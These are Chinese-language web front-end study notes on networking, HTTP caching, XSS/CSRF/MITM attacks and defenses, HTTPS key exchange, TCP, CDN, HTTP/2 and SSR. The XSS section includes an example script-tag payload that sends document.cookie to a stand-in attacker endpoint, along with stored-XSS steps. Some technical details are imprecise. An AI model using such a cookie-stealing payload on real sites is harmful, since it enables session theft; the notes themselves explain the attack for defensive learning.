网络
OSI 7 层参考模型
TCP/IP 协议
- 应用层(
HTTP
/HTTPS
/DNS
) - 传输层(
TCP
/UDP
) - internet 层(
IP
) - 网络接口层(
物理接口
)
TCP
Transmisson Control Prorocol
- 连接建立
- 可靠性传输
特点: 三次握手四次挥手
UDP
User DataGram Protocol
- 非连接,不可靠传输方式
- 效率高,速度快,适合音频和视频
DNS
Domain Name System
域名解析系统
怎么查找域名:
DNS 域名解析采用的是递归迭代查询的方式,过程,浏览器缓存 -> 本地服务器 -> 根服务器 -> 顶级服务器 -> 权威服务器
- 递归查询
主机向本地发出的查询 - 迭代查询
本地服务器 -> 根服务器
本地服务器 -> 顶级服务器
本地服务器 -> 权威服务器
DNS 优化
- DNS 缓存
Chrome 默认缓存DNS一分钟,延长缓存时间
2. DNS 预获取
- 利用 link 标签 rel=”dns-prefetch” 开启预获取
- Chorme 默认开启对当前不同域名的预获取
- 使用 CDN 加速域名
HTTP 协议
Hypertext Transfer Protocol
超文本传输协议
缓存
数据库缓存、服务器端缓存(nginx
、CDN 缓存
)、浏览器缓存
浏览器缓存由包含很多内容:HTTP 缓存
、indexDB
、cookie
、localstorage
等等
HTTP 缓存
强缓存和协商缓存的区别就是,强缓存是不需要发请求到服务器的,而协商缓存是需要浏览器发送请求到服务器判断本地的缓存是否失效,若不失效则不请求服务器,反之请求服务器获取最新资源
强缓存
命中强缓存时,状态码为 200(Size 列标识为 from cache)的响应请求,利用 Expire
s 和 Cache-Control
控制强缓存。
- Expires
该值是响应头的字段,指定缓存到期的时间,Expires=时间
,该时间为绝对时间,Last-Modify
结合使用 - Cache-Control
该值是响应头的字段,指定缓存到期的时间,Cache-Control=max-age+时间
,该事件为相对时间
Cache-Control
优先级比 Expires
高
优点:
服务器配置有限,降低服务器压力,1 台服务器能做到 10 台服务器的能力
<- Expires: xxxx
<- Cache-Control:max-age=600
协商缓存
命中协商缓存时,状态码为 304,利用 Last-Modify/If-Modify-Since
- Last-Modify/If-Modify-Since
第一次请求服务器,返回时会带上Last-Modify
的响应头,标识着该资源最后修改时间,第二次请求时会带上If-Modify-since
请求头,值为第一次响应的Last-Modify
值,服务器会根据If-Modify-since
判断是否命中缓存,如果命中则不请求服务器,返回 304,不返回Last-Modify
第一次响应:Last-Modify
第二次请求:If-Modify-since
- Etag/If-None-Match
Etag/If-None-Match
返回的是一个校验码,Etag
保证每个资源时唯一的,资源的变化都为导致 Etag 改变,服务器根据浏览器发送的If-None-Match
判断是否命中缓存
两者会优先验证Etag
,两种区别:
- 精度问题,第一种的精度时精确到秒,当资源的改变在秒级的时候,不太准确。所以由了
Etag
- 文件定期生成,当内容一样时,无法使用
Last-Modify
这一套 - 有可能存在服务器没有准确获取文件修改时间等,
Last-Modify
也不能使用
<- last-modifed: xxx
-> if-modified-since: xxx
<- etag: bbb
-> if-noe-match: bbb
web 安全
浏览器如何获取到 Cookie
- 利用接口响应的 Set-Cookie 字段
有哪些属性
- domain
- max-age、Express
- httponly
- name=value
XSS (Cross-Site-Script) 跨站脚本攻击
恶意攻击者,将一些恶意代码插入到网页,当用户访问的时候自动执行这段代码,从而达到攻击者目的
- 反射型
特点: 一次性
用户点开带有恶意的 url(含有 script),浏览器将此段发送给服务端,服务端返回客户端,此时浏览器识别到可执行代码将其执行 - 存储型
特点:恶意代码存储到服务器
攻击者提交含有 script 标签的恶意代码表单到服务器,服务端将其保存,展示给其他用户时执行恶意代码
实现过程
- 将
<script scr="https://攻击者接口?cookie=document.cookie"> </script>
, 注册成用户名, 提交给服务端,服务端保存 - 用户登录,如果查看到这个攻击者的账号信息相关,那么会执行恶意代码,将 cookie 拿到,发送到攻击者接口
- 攻击者事先会收集各种接口,找到相关可以获取到用户的接口
- 通过 cookie 获取到用户信息(手机号等)等
用途
- 冒充身份
- 刷点击(注入文章地址)
- 弹广告(注入一段创建弹窗的代码)
- 蠕虫病毒(冒充身份去发送邮件,联系人点开又会冒充去发送邮件….)
怎么防御
- 输入过滤,对于特殊符号等不允许提交
- httponly
- 转义 HTML 比如:
< => <
、> => >
CSRF (Cross-Site-Request-Forgery) 跨站点请求伪造
诱导受害者去到攻击者的网站,攻击者网站发起了相关请求,并且带上了受害者 cookie,从而可以做一些恶意的操作
前提: 浏览器没有严格执行同源政策,请求所在网站必须和请求的接口同源,就有可能发生 CSRF
实现过程
- 受害者登录信任网站
- 未关闭含有 cookie 的信任网站
- 诱导受害者去攻击者网站(如果配合 XSS 此时可能会直接跳转,或者弹窗诱导到攻击者网站)
- 在攻击者网站(用隐藏表单自动发送请求,img/src 自动 get 请求等骚操作…)发起信任网站相关接口,此时会携带用户的 cookie,冒充用户
用途
- 冒充身份
- 蠕虫病毒(冒充身份去发送邮件,联系人点开又会冒充去发送邮件….)
怎么防御
- 用验证码,信任网站开启验证码,而攻击者网站没办法获取正确验证码
- Referer ,表明请求的站点地址,但是有可能存在伪造
Referer
头 - token,客户端接收服务端的 token,保存在隐藏区域(本地存储,隐藏的 html 元素,代码内存等),请求带上 token
- 使用带有同源政策的浏览器,升级到默认开启严格模式版本
中间人攻击
是在数据传输时发生的攻击手段。截取 http 在传输时数据包,获取用户信息,篡改信息,篡改密钥
https
http 是一种明文传输协议,通信过程中很有可能会被中间人窃取数据,从而引出基于http的多种加密方案。 TLS
就是其中一种
在http协议栈中引入安全层
http -> 安全层
-> tcp -> ip -> 数据链路层
安全层的作用: 发起的http请求进行加密处理
和 接收http内容进行解密
,有几种加密方案:
对称加密
- 浏览器生成一个随机数
client-random
,并与浏览器支持的加密套件列表
一起发送给服务端 - 服务端保存
client-random
,并选出加密套件列表中其中一种套件和服务端随机生成的service-random
一起发送给浏览器
浏览器和服务器都各自有client-random
、service-random
,最终用这两个混合成一个密钥,有了这密钥,双方就可以加密通讯了
缺点:
所有的东西都是明文传输,由于利用随机数合成密钥的算法是公开的,一旦黑客获取那么也可篡改数据
非对称加密
有公钥和私钥的概念,用私钥加密,只能用公钥解密。用公钥加密,只能用私钥解密
- 浏览器发送加密套件列表给服务器
- 服务器要有公钥和私钥,服务器选出一种加密套件,和公钥一起发给浏览器
- 浏览器接收加密套件和公钥
浏览器能利用公钥加密数据,保证了浏览器传送服务器的数据安全
缺点:不能保证服务器传送给浏览器的数据安全,黑客可以窃取公钥,对服务器发送给浏览器的数据进行解密
对称和非对称配合使用
传输阶段利用对称加密,对称加密的密钥用非对称加密传输:
- 浏览器生成一个随机数
client-random
,并与浏览器支持的加密套件列表
一起发送给服务端 - 服务端保存
client-random
,并选出加密套件列表中其中一种套件和服务端随机生成的service-random
和公钥
一起发送给浏览器 - 浏览器保存公钥,并生成随机数 pre-master,用公钥加密 pre-master,并发送给服务器
浏览器和服务器都各自有 client-random
、service-random
、pre-master
,利用这三个混合成一个对称密钥
TCP 详解
TCP 的三次握手
TCP 的三次握手是为了确认双方的 发送能力
和 接收能力
, 那么对应的握手就是传输序列号的过程:
- 第一次:客户端发送 SYN seq=x 给服务端
- 第二次:服务端接收 SYN , 发送 SYN ACK sep=y ack=x+1
- 第三次:客户端接收 SYN ACK, 发送 ACK sep=x+1 ack=y+1
- 客户端确认过程:
客户端发送给服务端有响应 证明自己发送能力
和服务端发送和接收能力
都可以
客户端接收到响应之后发起第三次握手,证明自己接收能力也可以
- 服务端确认过程:
第一次握手之后进行第二次握手 证明了自己的接收能力
和客户端的发送能力
发生第三次握手之后服务端收到请求,证明了自己的发送能力
和客户端的接收能力
TCP 的四次挥手
- 客户端发起关闭请求: FIN seq=p
- 服务端接收,发起确认请求 ACK ack=p+1
- 服务端等待.等所有报文发送完毕,再发送 FIN ACK seq=q ack=p+1
- 客户端发起 ACK ack=q+1
性能优化
如何让网络通信更快
CDN
CDN 全称 content delivery network,又称内容分发网络
,CDN 有两个指标,全局负载均衡
和缓存系统
- 全局负载均衡
用户在访问服务器的时候,首先要向DNS 服务器
发起请求,经过解析后返回到这个网站域名的注册服务器去解析,DNS 解析服务器
会**解析到另外一个域名,这个域名最终指向CDN 全局负载均衡服务器
**,然后智能的挑选一个就近的最佳节点。 - 缓存系统(命中率&回源率)
- 命中率:
命中缓存的次数/总请求次数
- 回源率: 没命中缓存,即从服务器拿数据
- 命中率:
减少请求次数
资源合并
http 请求是需要建立连接的,这个过程是需要时间的,当多个资源有多个请求时,明显的很耗费时间
解决方案:
- 雪碧图
域名分片
同个域名浏览器可以有 6-8 个网络连接(tcp 连接),以 Chrome
为例,限制一个域名同时并发 6 个连接
解决方案:
- 多域名
HTTP 缓存
压缩资源
数据压缩
- gzip 与新的 br
gzip: 运用广泛
br: 由 Chrome
开发的新的压缩算法,性能比 gzip
高由于浏览器兼容问题,运用不广
代码文件压缩
- HTML/CSS/JS 中的注释、空格、长变量名等
静态资源
- 字体图标,去除元数据(图片中的作者,时间,大小等信息),缩小尺寸及分辨率,使用
jpg
或者webp
格式
头与报文
http1.1
中减少不必要的头- 减少
cookie
数据量
HTTP2 协议
HTTP2 协议
本身就比 HTTP1.1
快上很多!
那么快在哪?
头部压缩
臃肿的请求头(平均测试为 460
字节)是使之变慢的重要原因之一,HTTP2 为此的解决方案:
- 专门的 HPACK 压缩算法
- 索引表
- 霍夫曼编码
索引表:
需要客户端
和服务端
共同维护,分为一个静态表 Static Table
(静态表存放几乎所有常用的头信息键值对),一个动态表 Dynamic Table
。
- 当客户端请求的时候只需要发送表
Static Table
中的索引值比如::method=GET
用 2 表示等,并且值会通过霍夫曼编码进行压缩字符 - 当发送了一个在
Static Table
中的User-Agent
,索引为58,但是他的值不在``Static Table
中,请求的时候用58
,表示User-Agent
,服务器接收后会将User-Agent
添加到Dynamic Table
,缓存起来
二进制帧
在 HTTP1.1 文本字符分割的数据流,导致解析慢且容易出错,解决方案:
二进制帧:
- 帧长度
- 帧类型
- 帧标识
链路复用(多路复用)
简单来说: 一个域名只维护一个 TCP,一个 TCP 可以并发多个 HTTP 请求
那么多路复用有什么优点以及怎么在现实体现它的快速呢:
假设,有服务端的最大并发 TCP
量为 600,那么在
HTTP1.1
下,一个客户端最大的 TCP
并发为 6
个,那么在最大的并发量下,可接纳最多的用户为 600 / 6 = 100
个,那如果第 101
一个发起请求,那么还要等那 100
用户其中之一的 TCP
完成之后才开始(队头阻塞
)。那么在 HTTP2
的多路复用下:
一个域名共用一个 TCP,意味着可达到的并发用户量为 600 / 1 = 600 个!与服务端并发量达到一致。并且一个 TCP 可并发多个 HTTP 请求,再利用上述所说二进制分层实现并行请求,任何时候都可以发送请求给服务器解决对队头阻塞问题
如何让数据处理更高效
- HTML 语义标签加强 DOM 解析
- 多使用为元素,减少 JS 多 DOM 的查找遍历
- 能用 HTML/CSS 实现的效率就不用用 JS
- 逻辑与展示解耦,避免不必要的 JS 引擎启动(HTML 出现 js 代码)
- 减少作用域查找和闭包,避免==
- SSR 服务端渲染(next.js,nuxt.js)
SSR 服务端渲染
在客户端请求服务器的时候,服务器到数据库种获取数据,并且在服务器种将 vue 等组件,数据等转化为 HTML,服务器再将 HTML 返回给客户端。这个在服务器将组件数据等转为 HTML 的过程就叫服务端渲染
要了解 SSR,首先要了解同构的概念。
同构
在服务端渲染中,有两种页面渲染方式,
- 前端服务器通过请求服务器获取数据并组装 HTML 返回给浏览器,浏览器直接解析 HTM 给页面
- 浏览器在交互过程中,请求新的数据并动态更新渲染页面
这两种有一点不同点,也就是第一种是在服务器将 HTML 返回给客户端,而第二种是在客户端组成 HTML,运行环境不一样那么同构要做的事就是用一套代码兼容这两种情况
同构的条件
对于同构的应用来说,必须实现客户端和服务端的路由、模型组件、模型数据的共享。
SSR 图解: